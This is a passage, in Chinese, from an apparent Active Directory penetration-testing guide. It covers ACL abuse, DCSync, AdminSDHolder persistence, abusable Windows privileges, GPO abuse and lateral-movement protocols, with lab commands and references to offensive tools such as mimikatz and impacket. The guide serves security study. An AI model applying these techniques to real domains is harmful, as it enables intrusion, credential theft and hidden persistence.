修改用户密码:对于某用户对象来说,只要您具有相应的User-Force-Change-Password或GenericAll权限,就可以通过设置一个新的密码来接管这个账户。 使用户可以使用Kerberos:如果你可以在用户的ServicePrincipalName属性中写入SPN,就可以对该账户发动Kerberoast攻击,进而破解其密码。要想写入SPN,需要利用WritePropertyExtended或GenericWrite或GenericAll执行Validated-SPN验证的写入操作。 执行恶意的脚本:如果您能通过WriteProperty、GenericWrite或GenericAll修改用户的ScriptPath属性,那么就可以设置一个恶意文件,让用户下次登录时执行它。你可能需要使用一个UNC路径来指向共享。此外,您还可能需要启用UserAccountControl属性的SCRIPT标志。 将用户添加到组:如果你能用WriteProperty、GenericWrite或GenericAll修改一个组的members属性,那么你就可以向该组添加任何成员。如果你具有Self-Membership权限,就可以把自己当前的用户账户添加到该组。 Kerberos RBCD攻击:如果你能用WriteProperty、GenericWrite或GenericAll修改计算机账户的msDS-AllowedToActOnBehalfOfOtherIdentity,那么你就能为另一个用户启用Kerberos基于资源的约束委派,从而以管理员身份访问该计算机。 LAPS密码:如果你能读取LAPS用来存储机器本地管理员密码的计算机保密属性ms-Mcs-AdmPwd,那么您就能以本地管理员的身份读取该属性以访问计算机。您可以通过检查计算机帐户中是否存在ms-Mcs- AdmPwdExpirationTime属性来确定计算机中LAPS的使用情况。 DCSync攻击:如果您具有域对象的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All扩展权限,那么你就可以执行DCSync攻击,并转储数据库内容。 滥用GPO:如果你能用WriteProperty、GenericWrite或GenericAll来修改组策略容器的GPC-File-Sys-Path,那么你就可以修改GPO,以便在受GPO影响的计算机中执行代码。 修改ACL:如果您具有WriteDacl(或GenericAll)权限,那么你就可以通过创建ACE来获取对象中的任何权限,并执行之前的一些攻击。另外,如果你具有WriteOwner权限,由于所有者对象具有隐式WriteDacl权利,所以,您就能把对象所有者改为你的用户,然后修改ACL。
除了提升权限外,在创建后门以实现持久访问时,ACL也是相当有用的,并且这种方式还非常隐蔽。为了创建后门,可能还需要用到一些隐藏恶意ACE的技巧,为此可以参考https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf。
AdminSDHolder
然而,最有趣的维持权限技巧之一可能是修改AdminSDHolder对象。AdminSDHolder是数据库中的一个特殊对象,其DACL通常被用作特权主体安全描述符的模板。
PS C:\> Get-ADObject 'CN=AdminSDHolder,CN=system,DC=contoso,DC=local' DistinguishedName Name ObjectClass ObjectGUID ----------------- ---- ----------- ---------- CN=AdminSDHolder,CN=system,DC=contoso,DC=local AdminSDHolder container 7f34e8a5-ffbd-474a-b436-1e02b7b49984
AdminSDHolder对象
每隔60分钟,SDProp(Security Descriptor Propagator)就会检查这些特权主体的安全描述符,并用AdminSDHolder DACL的副本替换它们的DACL(如果它们存在差异的话)。这样做是为了防止这些主体的DACL被篡改,但是如果您能够将自定义ACE添加到AdminSDHolder DACL,那么这些新ACE也将应用于受保护的主体。
在默认情况下,下列主体是由AdminSDHolder提供“保护”的:
Account Operators Administrator Administrators Backup Operators Domain Admins Domain Controllers Domain Guests Enterprise Admins Enterprise Key Admins Enterprise Read-Only Domain Controllers Key Admins krbtgt Print Operators Read-only Domain Controllers Replicator Schema Admins Server Operators
Privileges
对于熟悉Windows平台的读者来说,可能知道某些用户权限允许用户绕过对象的ACL进行操作。例如,Windows机器中的SeDebugPrivilege权限允许在机器的任何进程内存中进行读/写,即使您没有这些权限。
在Active Directory中,某些权限也可能被滥用(主要是在域控制器中):
- SeEnableDelegationPrivilege:必须在域控制器中为用户设置SeEnableDelegationPrivilege权限(本地权限),然后它允许修改用户的msDS-AllowedToDelegateTo属性以及UserAccountControl属性中的TRUSTED_FOR_DELEGATION和TRUSTED_TO_AUTH_FOR_DELEGATION标志。换句话说,SeEnableDelegationPrivilege权限实际上允许控制域的Kerberos 无约束委派和约束委派选项,这可能被攻击者用来提升权限。默认情况下,该权限只赋予管理员账户。
- SeBackupPrivilege:该权限允许读取域控制器的任何文件,以便对其进行备份,这可以用来读取域数据库。默认情况下,Backup Operators、Server Operators和Administrators组都具有这个权限。该权限只有在使用NTFS备份API时才有效,该API可以通过wbadmin工具或Powershell WindowsServerBackup(两者都需要Windows Server备份功能)访问。当然,你也可以使用reg save命令来访问SAM和LSA机密。
- SeRestorePrivilege:如果具有还原权限,就能将任意文件从备份写入域控制器。攻击者可以利用该权限来修改域的数据库。默认情况下,会将该权限赋予Backup Operators、Server Operators和Administrators组。您可以使用该权限来修改注册表项并实现特权命令执行。SeTakeOwnershipPrivilege:利用该权限,可以成为机器安全对象的所有者,如文件、进程或注册表项等对象。对象的所有者总是可以修改该对象的权限(WriteDacl)。例如,可以使用SetNamedSecurityInfo API调用来取得该对象的所有权。不过,怎样才能取得Active Directory数据库对象的所有权呢???
除了在域中使用的权限外,了解在Windows机器中可用于提升权限的危险权限也是非常有用的,比如:
SeDebugPrivilege:有了该权限,用户就可以调试机器中的任何进程,在任何进程中注入代码,进而提升特权,或读取进程的内存,例如,读取已经在机器上登陆的用户的lsass进程中的机密信息(为此,可以借助于mimikatz)。
SeImpersonatePrivilege:利用该权限,用户可以获得机器中其他用户的安全令牌。如果模拟令牌的级别为SecurityDelegation,那么用户就可以使用该令牌在该域的其他机器上冒充目标用户(SecurityDelegation令牌与用户凭据相关,如Kerberos票证,可用于网络连接)。如果模拟令牌级别是SecurityImpersonation,那么目标用户只能在本地机器中被冒充(对特权提升很有用)。SeImpersonatePrivilege是赋予“NT AUTHORITY\Network Service”的,它通常用于运行网络服务器和类似的东西,所以,如果你能入侵网络服务器,就可以利用incognito来冒充网络上的某些域用户。但可以肯定的是,如果你想用SeImpersonatePrivilege在本地机器上提升权限,可以参阅https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html。
在Windows机器中,还有其他特权可以用来实现特权的提升,如果您对它们感兴趣,请参阅FoxGlove的token-priv存储库,其中提供了更加详细的介绍。
Group Policy
Active Directory的目标是管理组织的计算机和用户,其中部分管理过程是通过组策略来实现的。
组策略是一种允许将一组规则/操作应用于Active Directory网络用户和计算机的机制,比如:
- 禁用NTLM
- 检查密码复杂度
- 执行预定的或即使的任务
- 在计算机中创建本地用户
- 设置默认壁纸
- 用OneDrive同步文件
- 等等
为了定义规则,可以创建组策略对象。每个GPO定义了一系列可以应用于域中特定机器的策略。此外,您还可以创建适用于整个计算机或用户会话的策略。例如,可以在计算机启动或用户登录时执行脚本。
GPO Scope
创建GPO时,您需要指定将其应用于哪些计算机。为此,需要将GPO链接到以下数据库容器之一:
- 域
- 组织单位(OU)
- 站点(一个容器,用于容纳物理上接近的计算机组,不建议用于GPO)
Windows计算机也可能具有本地组策略。因此,许多不同的GPO可以应用于不同级别的机器,这些GPO按以下顺序处理:
- 本地
- 站点
- 域
- 组织单位
在这里,本地GPO是最不受欢迎的,而OU GPO是最受欢迎的。因此,如果应用于域的GPO与本地GPO相矛盾,则将遵循域GPO。
但是,Active Directory GPO(非本地)也可以将规则建立为No Override类型的。因此,如果设置了域策略规则,则来自OU的任何规则都不能与该上级规则相矛盾。
另外,GPO可以有一个关联的WMI查询,该查询允许筛选将应用GPO的计算机。例如,仅将策略应用于Windows7计算机。
在域中,每台计算机每90分钟检查一次策略更新,但域控制器除外,它每5分钟检查一次。此外,您还可以使用gpupdate执行即时检查。
每个GPO都是通过GUID进行标识,并包含两个实体:Group Policy模板和Group Policy容器。
Group Policy template
Group Policy模板是SYSVOL共享中的一个目录。这些模板通常位于\
PS C:\> ls \\contoso.local\SYSVOL\contoso.local\Policies\ Directory: \\contoso.local\SYSVOL\contoso.local\Policies Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/28/2020 10:02 AM {31B2F340-016D-11D2-945F-00C04FB984F9} d----- 11/28/2020 10:02 AM {6AC1786C-016F-11D2-945F-00C04fB984F9} d----- 4/19/2021 5:12 PM {BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A}
GP模板
每个GPO目录包含以下内容:
- 机器目录:用于机器级策略。
- 用户目录:用于用户级策略。
- GPT.INI:关于GPO的基本信息、版本和显示名称。
需要注意的是,在这些目录下文件和目录可能可能差异较大;您可以在其中找到配置INI文件,这些文件指定要执行的注册表项值、组成员或脚本。而且,如果幸运的话,也许在带有cpassword标记的脚本或组策略首选项(GPP)文件中能找到一些凭据。此外,您可以使用Get-GPPPasword脚本来搜索GPP凭据。
组策略首选项是用于Windows Server 2008引入的一组新策略的名称。
Group Policy container
为了帮助计算机定位组策略模板,Active Directory数据库将有关GPO的信息存储在CN=Policies,CN=System,DC=
PS C:\> Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" -Properties Name, DisplayName,gPCFileSysPath | select Name, DisplayName,GPCFileSysPath | Format-List Name : {31B2F340-016D-11D2-945F-00C04FB984F9} DisplayName : Default Domain Policy GPCFileSysPath : \\contoso.local\sysvol\contoso.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9} Name : {6AC1786C-016F-11D2-945F-00C04fB984F9} DisplayName : Default Domain Controllers Policy GPCFileSysPath : \\contoso.local\sysvol\contoso.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9} Name : {BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A} DisplayName : test policy GPCFileSysPath : \\contoso.local\SysVol\contoso.local\Policies\{BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A}
显示域GPO
您应该注意到,GPO GUID不同于用于标识Active Directory数据库中每个对象的GUID。还要注意,如果您能够编辑GPO的GPCFileSysPath属性,则可以设置处于您控制下的路径并创建恶意GPO,其中可以包含将在多台计算机上执行的恶意脚本。
另一方面,域、OU、站点的数据库对象可以通过GpLink属性关联到GPO。
PS C:\> Get-ADObject -LDAPFilter '(gPLink=*)' -Properties CanonicalName,gpLink | select objectclass,CanonicalName,gplink | Format-List objectclass : domainDNS CanonicalName : contoso.local/ gplink : [LDAP://cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;1][LDAP://C N={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=contoso,DC=local;0] objectclass : organizationalUnit CanonicalName : contoso.local/Domain Controllers gplink : [LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=contoso,DC=local;0] objectclass : organizationalUnit CanonicalName : contoso.local/web servers gplink : [LDAP://cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;0]
显示关联了GPO的域和OU
PS C:\> Get-ADObject -LDAPFilter '(gPLink=*)' -SearchBase "CN=Configuration,$((Get-ADDomain).DistinguishedName)" -Properties CanonicalName,gpLink | select objectclass,CanonicalName,gplink | Format-List objectclass : site CanonicalName : contoso.local/Configuration/Sites/mysite gplink : [LDAP://cn={BE864EFE-6C07-4A53-A9D8-7EB6EB36BE5A},cn=policies,cn=system,DC=contoso,DC=local;0]
显示与GPO相关联的站点
计算机可以通过检查它所属的OU对象和域对象来确定应用于自己的GPO。
例如,一台计算机对象位于cn=mypc,OU=workstations,OU=computers,dc=domain,dc=com中的计算机将应用workstations和computer OU,以及domain.com域的GPO。
Communication Protocols
在Active Directory中,有许多协议用于实现机器之间的通信。它们可以用于跨网络跳转,从而实现在不同环境的计算机上实现代码执行,因此了解它们的目的和它们提供的功能是非常重要的。
您可以在Microsoft文档中检索Windows服务所需的端口。
所以,让我们来回顾一下这些协议。
SMB
SMB(Server Message Block)是在Active Directory网络(和任何其他Windows网络)中广泛使用的一种协议,用于在计算机(通常是Windows计算机)之间共享文件和通信。
在默认情况下,每台Windows计算机都允许使用SMB协议来连接它。最初,SMB是通过NetBIOS(数据报和会话服务)使用的,但现在它可以直接通过TCP使用。Windows计算机通常会开放端口445/TCP以处理SMB连接。
`.-------- | | .--- .--NBSSN-->| 139 | '--- .-----. | | Windows | SMB |>--| | '-----' | | machine | | .--- | '---TCP--->| 445 | '--- | | | | | '-------- .------------. | | .------. .----------. | NTLM | | Kerberos | '------' '----------'`
SMB和相关协议/端口
对于攻击者来说,了解SMB是非常有用的,因为SMB可用于创建共享,而共享可能包含有价值的信息,并可用于从计算机中渗透信息。
Shares
共享就像一台机器共享的文件夹,以便网络中的其他计算机/用户进行访问。我们可以使用net view命令、Get-SmbShare Powershell Cmdlet或smbclient.py列出共享。
C:\> net view \\dc01.contoso.local /all Shared resources at \\dc01.contoso.local Share name Type Used as Comment ------------------------------------------------------------------------------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share The command completed successfully.
域DC的共享
您可以像访问本地计算机中的文件夹那样来访问其他计算机的共享。为了访问共享,您可以使用类似\dc01.contoso.local\SYSVOL\这样的UNC路径,或者通过使用net use命令将远程共享映射到本地设备。
若要在UNC路径中引用目标计算机,可以使用其dns名称或NetBIOS名称。例如,net view \dc01.contoso.local或net view \dc01。
C:\> dir \\dc01\sysvol Volume in drive \\dc01\sysvol has no label. Volume Serial Number is 609D-528B Directory of \\dc01\sysvol 28/11/2020 11:02 <DIR> . 28/11/2020 11:02 <DIR> .. 28/11/2020 11:02 <JUNCTION> contoso.local [C:\Windows\SYSVOL\domain] 0 File(s) 0 bytes 3 Dir(s) 20,050,214,912 bytes free
列出共享中的文件夹
共享对于用户访问其他机器的文件非常有用,如果不用它的话,有时可能需要使用特殊程序或类似的东西。因此,它们对于攻击者将文件从一台计算机移动到另一台计算机以便渗出也是非常实用的。
net share Temp=C:\Temp /grant:everyone,FULL
创建所有人都可以访问的共享
Default shares
您以前可能注意到,有一些共享是以$结尾的,比如C$、ADMIN$和IPC$,实际上,在默认情况下,它们存在于所有Windows计算机中。
为了访问C$和ADMIN$,您需要在目标计算机中具有管理员权限。通过这些共享(特别是C$),您可以检阅所有的计算机文件。实际上,某些工具都会用到这些共享,例如,PSECEC就是使用ADMIN$共享来部署一个负责执行给定命令的二进制文件的。
而IPC$则是用于创建命名管道的特殊共享。
Default domain shares
除了上面的公用共享之外,在域中,域控制器还发布域中任何用户/计算机都可以使用的SYSVOL和NETLOGON共享。它们用于存储域中所有机器(至少是Windows机器)都需要访问的文件。
SYSVOL共享通常用于存储计算机用来读取部署在域中的组策略的Group Policy模板。有时这些策略甚至可能包含密码。您可以通过\\<domain>\SYSVOL
路径访问SYSVOL共享。
PS C:\> dir \\contoso.local\SYSVOL\contoso.local Directory: \\contoso.local\SYSVOL\contoso.local Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 19/04/2021 17:12 Policies d----- 28/11/2020 10:02 scripts
列出SYSVOL文件夹
\\<domain>\\SYSVOL\<domain>\scripts
策略是NETLOGON共享的别名。NETLOGON共享用于存储需要为域的计算机执行的登录脚本。
Named pipes
IPC$共享并不是一个目录,相反,它是用于创建命名管道的,允许不同计算机的进程通过RPC(远程过程调用)等机制互相通信。
命名管道可以被视为允许机器之间进行通信的TCP端口,但只能在SMB协议内部使用。它们用于执行RPC调用,允许各种协议通过SMB进行通信。
通常,在RPC/SMB堆栈上工作的协议都定义了一个已知的命名管道,可用于与远程服务联系(与TCP/UDP端口的想法相同)。例如,RPC使用\pipe\Netlogon命名管道交换Netlogon协议的消息。
HTTP
HTTP(Hypertext Transfer Protocol)可能是最著名的应用程序协议,因为它是用于Web的协议。但它除了主要用于互联网外,在Active Directory中也经常用到。
HTTP被Active Directory域中的许多其他应用程序协议用作传输协议,如WinRM(以及Powershell Remoting)、RPC或ADWS(Active Directory Web Services)。
`.---------- | .--- .------->| 80 HTTP / WebDAV | '--- | | | | | .--- |------->| 443 HTTPS / WebDAV / PSWA | '--- | | | | | .--- |------->| 593 RPC over HTTP Endpoint Mapper | '--- .---------. | | | HTTP(S) |>--| | '---------' | .--- | |------->| 5985 WinRM HTTP | | '--- | | | | | | | | .--- | |------->| 5986 WinRM HTTPS | | '--- | | | | | | | | .--- | '------->| 9389 ADWS (on DCs) | '--- | | | '---------- .-------------. | | .------. .----------. | NTLM | | Kerberos | '------' '----------'`
Active Directory中HTTP服务使用的端口
为了与Active Directory完美集成在一起,HTTP支持使用NTLM和Kerberos协议进行身份验证。从安全角度来看,这很重要,因为这意味着HTTP连接容易受到Kerberos委派或NTLM中继攻击。
对于NTLM中继,需要特别注意的是,HTTP连接不需要签名,因此很容易受到NTLM交叉中继攻击。事实上,有许多攻击方式,如PrivExchange或某些Kerberos RBCD计算机接管攻击,都依赖于从HTTP到LDAP的NTLM中继。如果您能够强制计算机使用具有NTLM身份验证的计算机域帐户执行HTTP请求,那么您就可以利用Kerberos RBCD黑魔法来入侵计算机。
与HTTP相关的是,您可以在Windows计算机中安装IIS Web服务器,这是WebDAV或PSWA(Powershell web Access)等一些技术的基础,这些技术可以在/PSWA端点中启用。
PSWA登录
此外,您可以使用Pivotnacci在IIS安装中创建基于HTTP的SOCKS代理。
RPC
RPC(Remote Procedure Call)是一种协议,它允许来自不同机器的程序通过网络调用函数在它们之间进行通信。Microsoft开发了一个称为MSRPC的RPC协议,它是DCE/RPC的一个修改版本,并进行了一些(在RPCE中定义的)扩展。
MSRPC可以使用不同的传输协议,例如:
- TCP,将端口135作为端点映射器,并将端口49152至65535作为端点
- SMB,使用命名管道
- NetBIOS
- HTTP,使用端口593作为端点映射器,端口49152至65535作为端点
`.--- .----->----------->---------------->| 135 Endpoint Mapper | '--- | | .-------. .--- |----->------------.--->| NBSSN |-->| 139 | | '-------' '--- | ^ .-----. | .-----. | .--- | RPC |>----|----->| SMB |>----'--------------->| 445 '-----' | '-----' '--- | | | | | | .------. .--- | |----->---|------->| HTTP |>--.---->| 593 Endpoint Mapper | | | '------' | '--- | | | | v | | | | | .--- | '----->---|------->---|-------'---->| 49152 - 65535 | | | '--- | | | '-----------------.'-----------' | .-----'-----. | | .------. .----------. | NTLM | | Kerberos | '------' '----------'`
RPC相关的协议和端口
在一个域中,MSRPC不断地被计算机用于它们之间的通信。Windows机器使用MSRPC完成很多不同的任务,如管理服务或读取其他机器的注册表。
RPC也被广泛用于通过LRPC(Local RPC)或ALPC(Advanced Local Procedure Call)与本地机器中的程序进行通信。
为了执行所有这些任务,Microsoft定义了多个负责不同功能的MSRPC接口;利用这些接口,可以从远程程序查询/调用计算机的不同服务。
每个接口都由一个UUID(Universally unique identifier)进行标识,比如12345778-1234-ABCD-EF00-0123456789AB;并且,每个接口都使用不同的端点。某些接口还提供了预定义的端点,如命名管道。例如,服务控制管理器(SCMR)使用的是\pipe\svcctl命名管道。
但是,对于其他接口,远程端点是可变的,因此为了确定这些端点,RPC客户端必须联系端点映射器(EPM),以便通过GUID解析远程端点。
根据接口的不同,可以使用不同的传输协议。您可以使用impacket、rpcdump.py和rpcmap.py实用程序来发现可用于连接到远程计算机中给定服务的RPC端点(及其协议)。此外,您还可以使用RPCView来查看本地计算机中的RPC端点。
$ python rpcdump.py 'contoso.local/Han:Solo1234!@192.168.100.2' | grep LSAT -A 20 | grep -v ncalrpc Protocol: [MS-LSAT]: Local Security Authority (Translation Methods) Remote Provider: lsasrv.dll UUID : 12345778-1234-ABCD-EF00-0123456789AB v0.0 Bindings: ncacn_np:\\DC01[\pipe\lsass] ncacn_ip_tcp:192.168.100.2[49667] ncacn_http:192.168.100.2[49669] ncacn_np:\\DC01[\pipe\cb4e7232b43a99b8]
列出LSAT接口的远程端点
为了让您了解使用RPC可以做什么,下面是一些最常用的接口的描述。我已经按传输协议划分了接口,以便让您知道当机器的不同端口打开时可以完成什么。
RPC over SMB
以下RPC接口/协议可以(并且通常是)通过SMB使用:
- DHCPM:DHCPM(DHCP Server Management)用于管理DHCP服务器的配置。
- RPRN:RPRN(Print System Remote)用于管理来自远程计算机的打印任务。您可以使用SpoolSample或printerbug.py,通过RPRN触发打印机Bug。
- RRP:RRP(Windows Remote Registry Protocol)允许从远程计算机读取和修改注册表项。您可以使用reg(如果出现“The network path was not found.”消息,则需要在远程计算机中启动“Remote Registry”服务)或reg.py(这将自动使用SRVS启动“Remote Registry”服务)来操作远程注册表。
- SAMR:SAMR(SAM Remote)允许连接其他计算机的SAM(Security Account Manager),以便管理用户和组。您还可以使用samrdump.py来获取有关机器本地用户的信息。
- SCMR:SCMR(SCM Remote)用于与其他机器的SCM(Service Control Manager)建立连接,以管理服务。PsExec实用工具就是利用这个协议在远程计算机中执行命令的。
- SRVS:通过SRVS(Server Service Remote)可以连接到远程机器,以便管理连接、会话、共享、文件和传输协议。您可以使用netview.py来枚举会话,也可以使用net view来枚举远程计算机中的共享。
- TSCH:TSCH(Task Scheduler Service Remote)用于管理远程计算机中的任务。您可以使用atexec.py、at或schtasks来创建远程任务。
- WKST:WKST(Workstation Service Remote)用于管理/查询工作站设置,如主机名、OS版本、用户会话或计算机域。您可以将WKST与netview.py组合使用,以枚举会话。
.-------. | DHCPM |>----. '-------' | | .------. | | RPRN |>----| '------' | | .------. | .-------- | RRP |>----| | '------' | | | .--- .------. | .--NBSSN-->| 139 | SAMR |>----| | '--- '------' | .------. .-----. | | Windows |----->| RPC |>--->| SMB |>--| | .------. | '------' '-----' | | machine | SCMR |>----| | | .--- '------' | | '---TCP--->| 445 | | '--- .------. | | | | SRVS |>----| | | '------' | | '-------- | .------------. .------. | | | | TSCH |>----| .------. .----------. '------' | | NTLM | | Kerberos | | '------' '----------' .------. | | WKST |>----' '------'
基于SMB的RPC协议
此外,还有一些专门在域中查询域控制器的RPC接口:
- BKRP:BKRP(BackupKey Remote Protocol)用于在Active Directory域中传输DPAPI密钥。您可以使用mimikatz lsadump::backupkeys或dpapi.py backupkeys从域控制器中检索DPAPI备份密钥。
- LSAD:LSAD(LSA Domain Policy)是LSA(Local Security Authority)管理用户、信任关系和其他与安全相关的东西的远程接口。它可以与LSAT一起使用。
- LSAT:LSAT(LSA Translations Methods)允许将SID转换为主体名称。它可以与LSAD一起使用。您可以使用lookupsid.py根据SID来枚举用户。
- NRPC:NRPC(Netlogon Remote Protocol)可以在域中使用,允许计算机通过查询域控制器对用户进行身份验证。它也可以在不同域的域控制器之间使用,以便用NTLM对不同域的用户进行身份验证。此外,它还允许获取用户信息、域信任关系或域控制器列表等信息。您可以使用nltest(Netlogon test)来发送相关请求。这个漏洞是因Zerologon漏洞而名噪天下的。
.------. .---------- | BKRP |>----. | '------' | | | .--- .------. | .--NBSSN-->| 139 | LSAD |>----| | '--- '------' | .------. .-----. | | Domain |----->| RPC |>--->| SMB |>--| | .------. | '------' '-----' | | Controller | LSAT |>----| | | .--- '------' | | '---TCP--->| 445 | | '--- .------. | | | | NRPC |>----' | | '------' | '---------- .------------. | | .------. .----------. | NTLM | | Kerberos | '------' '----------'
基于SMB(Domain Controller)的RPC协议
RPC over TCP
此外,有些RPC接口虽然无法通过SMB使用,但可以直接通过TCP使用:
- DRSR:DRSR(Directory Replication Service Remote)是域控制器用于复制数据的协议。它也可以被拥有足够权限的攻击者用来复制域用户的凭据,通过使用mimikatz lsadump::dcsync或impacket secretsdump.py来发动dcsync攻击。
- DCOM:DCOM(Distributed COM)用于与远程计算机的COM(Component Object Model)对象进行交互。COM对象是非常有用的,可以用于完成许多事情,比如执行命令,这些都可以通过使用dcomexec.py来完成。
- WMI:WMI(Windows Management Instrumentation Remote)是构建在COM对象之上的CIM(Common Information Model)的Microsoft实现,它允许从单个接口查询和操作Windows计算机的不同部分。该接口非常通用,可以与wmic、Powershell cmdlet(如Get-WmiObject)或impacket WMI脚本(如wmiexec.py)一起使用。
- WCCE:WCCE(Windows Client Certificate Enrollment Protocol)是一个DCOM接口,允许用户在ADC中请求凭据和与CA相关的其他服务。它可以与certreq或Certify一起使用。
`.-------- .-----------. | | (DC) DRSR |>-------. | '-----------' | .------. .--- |---->| RPC |>--TCP--.-->| 135 (EPM) .-----. .------. | '------' | '--- | WMI |>--.--->| DCOM |>----' | | | Windows '-----' | '------' | | | | | | | machine .------. | | | .--- | WCCE |>-' | '-->| 49152 - 65535 '------' | '--- | | | | .------------. '-------- | | .------. .----------. | NTLM | | Kerberos | '------' '----------'`
基于TCP的RPC协议
WinRM
除了RPC,还可以使用WinRM(Windows Remote Management)在其他机器上进行通信和执行操作。WinRM是WS-Management(Web Services-Management)规范的Microsoft实现,该规范定义了通过SOAP over HTTP管理计算机的协议。
WinRM使用WSMAN和WSMV中定义的一些扩展来访问远程计算机中的CIM对象。这些CIM对象类似于WMI对象的更新。您可以使用CIM Cmdlets(例如Get-CimInstance)访问本地和远程计算机中的CIM对象。此外,您还可以使用WinRM在远程计算机中执行某些操作。
PS C:\> Get-CimInstance CIM_OperatingSystem -ComputerName dc01 | Format-List SystemDirectory : C:\Windows\system32 Organization : BuildNumber : 17763 RegisteredUser : Windows User SerialNumber : 00431-10000-00000-AA522 Version : 10.0.17763 PSComputerName : dc01
使用CIM从远程计算机获取信息
在默认情况下,WinRM服务将在端口5985上侦听HTTP连接,在端口5986上侦听HTTPS连接。在默认情况下,该服务会使用HTTP,因为WinRM消息是在顶层加密的。但是,您也可以对WinRM进行相应的配置,让HTTP和HTTPS连接分别使用常规HTTP端口80和443。
`.---------- | | .--------------------------------. .--- | WinRM | .--TCP-->| 5985 or 80 | | | '--- | .-----. .---------------. | .---------. | | Windows | | CIM |--->| WS-Management |>--|-->| HTTP(S) |>--| | | '-----' '---------------' | '---------' | | Machine | | | | .--- '--------------------------------' | '--SSL-->| 5986 or 443 | '--- | | | | | '---------- .-------------. | | .------. .----------. | NTLM | | Kerberos | '------' '----------'`
WinRM协议栈
Powershell remoting
管理系统的一个重要实用工具是Powershell remoting,它允许客户端在远程计算机上建立Powershell会话,并使用Powershell执行各种任务。在默认情况下,自Windows server 2012 R2以来,在Windows server版本(而非Windows 10这样的客户端)都会默认启用Powershell remoting。
PS C:\> $pw = ConvertTo-SecureString -AsPlainText -Force -String "Admin1234!" PS C:\> $cred = New-Object -typename System.Management.Automation.PSCredential -argumentlist "contoso\Administrator",$pw PS C:\> PS C:\> $session = New-PSSession -ComputerName dc01 -Credential $cred PS C:\> Invoke-Command -Session $session -ScriptBlock {hostname} dc01 PS C:\> Enter-PSSession -Session $session [dc01]: PS C:\Users\Administrator\Documents>
使用明文凭据的远程PowerShell会话
最初,Powershell remoting是建立在WinRM协议之上的。然而,由于人们希望它也能用于Linux机器,所以,它现在也支持将SSH作为传输协议。
如果启用了Powershell Web Access(PSWA),也可以通过Web浏览器使用Powershell。
`.---------- | .-----. .--- .---------->| SSH |>---------TCP--------->| 22 | '-----' '--- | | | .------. | | | | PSRP |>--| | .--- '------' | | .--TCP-->| 5985 or 80 | | | '--- | .-------. | .---------. | | '->| WinRM |>--|-->| HTTP(S) |>--| | '-------' | '---------' | | | | | .--- | | '--SSL-->| 5986 or 443 | | '--- | | | | | | | | '---------- | .----------. | | | .----------. .------. | Kerberos | | NTLM | '----------' '------'`
Powershell remoting协议栈
为了使用Powershell remoting,您可以使用多个PSSession CmdLet在远程计算机上执行命令。此外,在Linux中,您可以安装Powershell或使用诸如evil-winrm之类的工具。
除了用于横向移动之外,您还可以使用JEA端点(仅在WinRM上可用)实现权限的维持。
但是,在渗透测试中要格外小心,因为Powershell提供了许多日志功能。
Trusted Hosts
除了允许使用它之外,Powershell还要求在客户端中正确设置TrustedHost变量。
默认情况下,Powershell remoting允许您使用Kerberos连接到域中的所有计算机。但是,如果想要连接不同域的计算机,则需要将该IP(或使用通配符*,表示所有地址)添加到TrustedHost值。在这种情况下,您必须在客户端中配置TrustedHost,而不是在服务器中配置该变量(您可能会认为,从安全角度来看,这是合乎逻辑的想法)。
PS C:\> Set-Item wsman:localhost\client\TrustedHosts -Value * -Force
在客户端中配置TrustedHost以允许连接到任何计算机
众所周知,您也可以从Linux计算机使用Powershell,但是,我无法在Linux中设置TrustedHosts(或使用Negotiate之类的操作),以便从Linux计算机连接到不同域中的Windows计算机,如果您知道如何做到这一点,欢迎赐教。
SSH
SSH(Secure Shell)是一种广泛用于访问和管理Linux等Unix系统的协议,但自2018年以来也可用于Windows系统。即使它与Active Directory没有直接关系,通常也可以通过SSH访问部署在一个域中的Linux机器,因此,您应该了解其原理和作用。
在默认情况下,SSH服务将侦听端口22。
`.---- | .-----. .--- | SSH |>---TCP--->| 22 '-----' '--- | | | '---- | | .----------. | Kerberos | '----------'`
SSH端口
SSH是一个非常通用的协议,它允许用户在远程系统上获取shell、传输文件(使用scp实用程序)和建立SSH隧道。
Linux机器经常用到该端口,如果您能够找到一些ssh密钥或有效的用户凭据,就可以使用它在域计算机之间进行横向移动。
$ ssh foo@db.contoso.local foo@db.contoso.local's password: Linux db 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Apr 26 11:23:20 2021 from 192.168.122.1 foo@db:~$ hostname id
db.contoso.local中作为foo用户的SSH会话
此外,如果目标机器被添加到域中,它也可以与Kerberos一起使用。您可以通过启用GSSAPI身份验证来使用Kerberos身份验证(使用参数-o GSSAPIAuthentication=yes)。
SSH tunneling
SSH隧道允许您将连接从本地计算机端口转发到远程计算机,反之亦然,因此对于绕过防火墙以及网络的各个网段中进行跳转是非常有用的。
SSH支持三种类型的端口转发:
本地端口转发
在这种情况下,可以将本地端口映射到远程计算机可访问的端口。例如,如果远程计算机remote.contoso.local可以访问web.contoso.local:80中的网站,而您的计算机却无法访问该网站,则可以通过本地端口转发将本地端口(例如8080)映射到web.contoso.local的端口80,方法是执行ssh -L 8080:web.contoso.local:80 user@remote.contoso.local。然后,您就可以通过访问本地端口8080来访问远程网页了。
